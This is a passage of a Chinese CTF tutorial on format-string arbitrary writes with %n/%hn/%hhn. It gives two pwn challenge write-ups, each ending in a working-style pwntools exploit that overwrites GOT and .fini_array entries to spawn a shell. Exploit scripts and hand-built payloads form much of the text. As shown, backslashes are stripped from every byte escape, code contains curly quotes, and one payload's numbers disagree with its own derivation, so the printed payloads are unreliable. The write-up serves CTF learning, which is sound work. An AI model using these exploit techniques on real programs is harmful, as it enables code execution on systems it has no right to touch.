格式化字符串任意地址写操作学习小计

380 阅读6分钟
原文链接: www.anquanke.com

前言

大家对格式化字符串读操作一定不陌生,但是对写操作的概念或者具体步骤会比较模糊。这里主要总结一下格式化字符串写操作,会以两道例题来进行讲解。

格式化字符串写操作的原理

%c、%x 的用法

%c 在 printf 的使用中,表示的是输出类型为字符型,例如:%200c 表示总共输出 200 个字符,如果不足 200 个则在前面补上空字符。

再例如下面的代码:

#include <stdio.h>

#include <stdlib.h>





int main(){

        int i = 0x6667;



        printf("%200c",((char *)&i)[1]);



        return 0;

}

输出结果:

image.png-10.7kB

所以根据上面的结果就很容易知道他的用法,这里的 %c 经常会配合 %n 来进行使用。

  • 如果这里将 printf 的控制字符改成 %x 的话,结果也是大同小异,只是输出的类型变为字符的十六进制数,输出字符相应的数量会多 1 个。

image.png-10.3kB

%n 的用法

特殊的格式化控制符%n,和其他控制输出格式和内容的格式化字符不同的是,这个格式化字符会将已输出的字符数写入到对应参数的内存中。

%n          一次性写入 4 个字节

%hn         一次性写入 2 个字节

%hhn        一次性写入 1 个字节

%n 一般会配合 %c 进行使用,%c 负责输出字符,%n 负责统计输出的字符串的数量并转化为 16 进制格式写入到偏移的内存地址里。

所以之后写内存的任务其实就是计数的任务了,在后面的例子中也会详细讲解到。

这个控制字符的详细用法在这篇文章中讲的很清楚了,这里就不赘述了。

使用 pwntools 模块生成 payload

直接利用 pwntools 的 fmtstr_payload 函数即可生成相应的 payload,具体用法可以查看官方文档

例如举一个最简单的用法,假如我们知道这里 fmt 的偏移是 4,我们要将 0x80405244 地址的值覆盖为 0x12344321,就可以这样调用:

fmtstr_payload(4,{0x80405244:0x12344321})

image.png-35kB

  • 第三个参数(write_size)代表一次写入内存的字节数,三种 payload 都是一样的效果,具体选择哪个后面会说到。

 

例题

例题 1

这个例题是国赛某赛区线下半决赛的一道 pwn 题目。解题思路是覆盖某个函数的 got 表进行 getshell。

程序代码

主要逻辑只有一个 main 函数,允许输入 64 个字符的字符串(其实这是一个提示最后的 payload 是 64 个字节长度),接着在下面有一处很明显的格式化字符串漏洞,那么这里我们就可以输入 %x、%p 进行内存泄露。

int __cdecl main(int argc, const char **argv, const char **envp)

{

  char format; // [esp+0h] [ebp-48h]



  setvbuf(stdin, 0, 2, 0);

  setvbuf(stdout, 0, 2, 0);

  puts("Welcome to my ctf! What's your name?");

  __isoc99_scanf("%64s", &format);

  printf("Hello ");

  printf(&format);

  return 0;

}

同时在程序中还有一个 system 函数,这里的 command 是一个 0x00 的 4 字节位于 .data 段的值。

image.png-32.6kB

确定偏移

按照正常套路来先确定一波偏移。

aaaa%x,%x,%x,%x

aaaa%4$x

很容易知道这里的偏移是 4。

image.png-27.7kB

解题思路

来缕清一下思路,我们只有一次格式化字符串的机会,要么是进行格式化字符串的读操作,要么是进行格式化字符串的写操作,所以这里就没办法在读内存之后进行任意地址写了。

那么有没有办法同时读或者写呢?或者让程序多循环几次呢?答案是有的。

具体的做法可以参考某位大佬的文章:bbs.ichunqiu.com/thread-4362…

引用文章中的一张图:

image.png-42.4kB

按照文章中的 “使用格式化字符串漏洞使程序无限循环“ 的操作,大概的操作是:

在将 start 函数或者 main 函数的地址覆写 .fini.array 段中的函数指针,导致程序在进行程序执行结束的收尾操作时,重新执行一次 main 函数,这样我们就可以重新返回 main 函数。
在覆写 .fini.array 段的函数指针的同时,将 printf 函数的 got 表覆盖为 system 函数的地址即可。

在 IDA 中查看 .fini.array 中区段的函数,可见就只有一个函数指针:__do_global_dtors_aux_fini_array_entry,所以我们的目的就是把 main 的地址写到这个地址即可。

image.png-49.6kB

回到 main 函数后,输入 /bin/shx00 就相当于调用 system(“/bin/sh”) 函数。

image.png-30.2kB

payload 的构造

这题的难点就在于 fmt payload 的构造,其实说难也不难,如果掌握了 %n、%hn、%hhn 等格式化串的用法,构造起来就会比较轻车熟路。这里需要覆盖两处地方,所以这里一定要了解原理才行。

  1. 首先将 __do_global_dtors_aux_fini_array_entry 函数指针覆盖为 main 函数地址

main 函数地址为 0x08048534, __do_global_dtors_aux_fini_array_entry 的地址为 0x804979C,这一步可以直接使用 fmtstr_payload。

>>> fini_func = 0x0804979C

>>> main_addr = 0x08048534

>>> fmtstr_payload(4,{fini_func:main_addr},write_size=’short’)

‘x9cx97x04x08x9ex97x04x08%34092c%4$hn%33488c%5$hn’

>>>

  • 这里使用 $hn 原因是:使用 %hhn 最后生成的 payload 太长(超过 64 字节);使用 %n 的传输效果不好。
  1. 得到上面的 payload 之后,在里面继续添加将 printf_got 覆盖为 system_plt 的操作即可。即:将 0x0804989C 的地址指针覆盖为 0x080483D0
  • 这里使用 hn ,所以要写入 4 个字节的数据的话就要写两次。

(1). 添加地址

x9cx97x04x08x9ex97x04x08

=>

x9cx97x04x08x9ex97x04x08x9cx98x04x08

(2). 计算输出字符个数(%c)

需要写入 0x83d0,但是前面输出的字符串个数已经大于 0x83d0,而且数量只能往上加,所以这里只能使用截断的方法:从 0x83d0 加到 0x183d0 即可,最后写入时只会写 2 个字节,也就是 0x83d0,这样就达到了目的。

>>> hex(34088+33488+12)

‘0x10804’

所以这里进行减法就行,这里就得到了 31692。

>>> 0x183d0-34088-33488-12

31692

>>> hex(33488+31692+34088+12)

‘0x183d0’

所以构造好 0x0804989C 后的两个内存地址字节的值:

=>

x9cx97x04x08x9ex97x04x08x9cx98x04x08%34088c%4$hn%33488c%5$hn%31692c%6$hn

同理继续添加地址:

=>

x9cx97x04x08x9ex97x04x08x9cx98x04x08x9ex98x04x08

计算输出字符个数:

x9cx97x04x08x9ex97x04x08x9cx98x04x08x9ex98x04x08%34084c%4$hn%33488c%5$hn%31692c%6$hn%33844c%7$hn

计算步骤:前面的格式化字符数量不变,使用截断法构造。这里向 0x0804989E 后的两个内存地址字节写入的值为 0x0804。但是原来输出数量为 0x183d0,继续往上加到 0x20804。截断后得到 0x0804。

>>> 0x20804-(33488+31692+34088+12)

33844

>>> hex(33844+33488+31692+34088+12)

‘0x20804’

因为最后的 payload 为:

x9cx97x04x08x9ex97x04x08x9cx98x04x08x9ex98x04x08%34084c%4$hn%33488c%5$hn%31692c%6$hn%33844c%7$hn

计算一下最后 len(payload) = 64,这也就是出题人设计 scanf 输入个数为 64 的原因。

exp

from pwn import *



r = process("./pwn")

elf = ELF("./pwn")

print_got = elf.got['printf']





r.recvuntil("Welcome to my ctf! What's your name?")





fini_func = 0x0804979C

system_plt = 0x080483D0

main_addr = 0x08048534



#payload1 = fmtstr_payload(4,{fini_func:main_addr},word_size='short')

#payload2 = fmtstr_payload(4,{print_got:system_plt},word_size='short')



payload = "x9cx97x04x08x9ex97x04x08x9cx98x04x08x9ex98x04x08%34084c%4$hn%33488c%5$hn%31692c%6$hn%33844c%7$hn"





r.send(payload)



r.recv()

r.sendline('/bin/shx00')

例题 2

这道题是 2019 hgame 的一道 pwn 题。payload 的构造比较巧妙,通过覆盖 ___stack_chk_fail 函数的 got 表指针为后门函数地址来达到目的。

题目的逻辑很简单。

main 函数:

int __cdecl main(int argc, const char **argv, const char **envp)

{

  char format; // [rsp+0h] [rbp-60h]

  unsigned __int64 v5; // [rsp+58h] [rbp-8h]



  v5 = __readfsqword(0x28u);                    // canary

  init();

  read_n(&format, 0x58u);

  printf(&format);                              // printf(&format)

  return 0;

}

read_n 函数:

__int64 __fastcall read_n(__int64 str, unsigned int len)

{

  __int64 result; // rax

  signed int i; // [rsp+1Ch] [rbp-4h]



  for ( i = 0; ; ++i )

  {

    result = i;

    if ( i > len )

      break;

    if ( read(0, (i + str), 1uLL) < 0 )

      exit(-1);

    if ( *(i + str) == 'n' )

    {

      result = i + str;

      *result = 0;

      return result;

    }

  }

  return result;

}

backdoor 函数:

int backdoor()

{

  return system("/bin/sh");

}

漏洞分析

首先,checksec 发现存在 canary。

image.png-13.7kB

在 main 函数中,存在一处栈溢出(刚好可以覆盖到 canary)和格式化字符串漏洞。但是程序只一次格式化字符串利用的机会,而且还存在 canary,并且在 printf 函数调用完成后也没有调用其他的库函数。

这里也没办法通过循环回 main 函数进行二次利用。

这里存在后门函数,所以很明显是将这个后门函数地址往某个地方写入,那往哪里写呢?这里可以直接往 ___stack_chk_fail 函数的 got 表里写,再构造 payload 完 send 出去之后通过溢出触发 ___stack_chk_fail 函数,即最终调用了 system 函数。

构造方法

首先确定偏移为 6。

nick@nick-machine:~/pwn/fmt$ ./babyfmtt

It’s easy to PWN

aaaa%6$x

aaaa6161616

再计算输入 payload 到 canary 的距离:0x60-0x8 = 0x58 = 88

  char format; // [rsp+0h] [rbp-60h]

  unsigned __int64 v5; // [rsp+58h] [rbp-8h]

接着先使用 fmtstr_payload 生成一个 payload ,发现长度是 58,所以我们需要手动在前面加上一写字符直到加到 88。

image.png-24kB

根据上面的方法先手动加上 30 个 ‘a’,再加上地址

aaaaaaaaaaaaaaaaaaaaaaaaaaaaaax20x10x60x00x21x10x60x00x22x10x60x00x23x10x60x00

接着再计算输出字符的个数,比如将第一个 0x4e = 78 写入,写入的字符数:78-16-30 = 32,偏移是 6,此时 payload 即:

aaaaaaaaaaaaaaaaaaaaaaaaaaaaaax20x10x60x00x21x10x60x00x22x10x60x00x23x10x60x00%32c%6$hhn

接着将后面的格式化串照搬补上即可(不需要更改)。payload 如下:

aaaaaaaaaaaaaaaaaaaaaaaaaaaaaax20x10x60x00x21x10x60x00x22x10x60x00x23x10x60x00%32c%6$hhn%186c%7$hhn%56c%8$hhn%192c%9$hhn

但是!写好 payload 之后尝试 send 的出去之后,发现并没有 getshell,动态调试的时候也发现没有写入到 printf 的 got 表中,为什么呢?

image.png-84.1kB

在 debug 模式下发现这里只输出到 0x602010 ,原因是前面的 0x00 被截断了!解决方法也可以参考那篇文章(”64位下的格式化字符串漏洞利用”)里的:将 0x00 放在后面,还需对 payload 进行调整,使地址前面的数据恰好为地址长度的倍数

image.png-173.9kB

在调用到 printf 函数时下个断点,看到这个是赋值了三个参数,0x00 被放到了相对于栈偏移位置为 2 的地方,这也就是下面的 payload 的偏移为 8 (6+2)的原因。

payload = “%2126c%8$hnaaaaa”+p64(0x601020)+p64(0xdeadbeef)*12

或者

payload = “%2126c%9$hn%63474c%10$hn”+p64(0x601020)+p64(0x601022)+p64(1)*15

  • 2126 转化为十六进制为 0x84e,也就是 backdoor 函数的后 12 bit,只需要覆盖这么多即可,$hn 后面的五个 a 是为了对齐 8 字节内存空间用的。总之这里的偏移需要自己在 gdb 中进行调试才可以确定下面。

最后的 exp:

from pwn import *



r = process("./babyfmtt")

r.recvuntil("It's easy to PWN")



stack_chk = 0x601020

backdoor = 0x40084E



payload = "%2126c%8$hnaaaaa"+p64(0x601020)+p64(0xdeadbeef)*12



#payload = fmtstr_payload(6,{stack_chk:backdoor}).ljust(89,'a')



log.info(payload)

log.info("length of payload: " + str(len(payload)))



r.sendline(payload)

r.interactive()

 

总结

总的来说,还是需要熟练掌握 %n 的用法才能利用好格式化字符串漏洞。

参考文章

bbs.ichunqiu.com/thread-4362…
docs.pwntools.com/en/stable/f…